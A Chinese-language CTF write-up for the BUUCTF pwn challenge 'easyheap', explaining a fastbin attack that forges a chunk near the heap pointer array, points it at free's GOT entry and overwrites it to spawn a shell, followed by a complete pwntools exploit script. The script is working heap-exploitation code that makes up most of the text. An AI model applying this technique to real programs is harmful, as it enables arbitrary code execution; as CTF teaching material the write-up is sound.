image.png
    好久没写pwn题了,刷了一些逆向还没写博客 。。。
    老规矩了,checksec,发现got表可以改
    image.png
    这题和那个magic一样的我靠,然而用unsorte bin attack的话buu上的flag不在
    image.png
    不在这个位置,,,,
    所以得转变思路了,漏洞还是那个二次输入长度就可以实现堆溢出这样一个,这里我们就用fast bin attack
    我们的想法就是在heaparray[]这里填上free 的got表然后用system覆盖,fast bin attack的话主要是找7f(不一定7f也行),然后这里为什么不直接在free got边上改就是因为前面的数据都是0,所以就是找heaparray数组的麻烦。

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. io =process('./easyheap')
    6. #io = remote("node4.buuoj.cn",26397)
    7. elf = ELF('./easyheap')
    8. libc = ELF('libc-2.23.so')
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. def creat(size,value):
    13. io.recvuntil('Your choice :')
    14. io.sendline('1')
    15. io.recvuntil('Size of Heap : ')
    16. io.sendline(str(size))
    17. io.recvuntil('Content of heap:')
    18. io.sendline(value)
    19. def free(id):
    20. io.recvuntil('Your choice :')
    21. io.sendline('3')
    22. io.recvuntil('Index :')
    23. io.sendline(str(id))
    24. def edit(index,content):
    25. io.recvuntil('Your choice :')
    26. io.sendline('2')
    27. io.recvuntil('Index :')
    28. io.sendline(str(index))
    29. io.recvuntil('Size of Heap : ')
    30. io.sendline(str(len(content)))
    31. io.recvuntil('Content of heap : ')
    32. io.send(content)
    33. def getshell():
    34. io.recvuntil('Your choice :')
    35. io.sendline('4869')
    36. system_got =elf.got['system']
    37. print(hex(system_got))
    38. free_got = elf.got['free']
    39. target_addr = 0x6020b5
    40. creat(0x10,"aaaa")
    41. creat(0x60,"bbbb")
    42. creat(0x10,"cccc")
    43. creat(0x10,"/bin/sh\x00")
    44. free(1)
    45. payload = b'a'*0x10+p64(0)+p64(0x71)+p64(target_addr-0x8)+p64(0)
    46. #pause()
    47. #pause()
    48. edit(0,payload)
    49. #pause()
    50. payload = b'a'*0x23 + p64(free_got)
    51. creat(0x60,'abcd')
    52. creat(0x60,payload)
    53. #pause()
    54. edit(0,p64(0x400C2C))
    55. debug()
    56. free(3)
    57. io.interactive()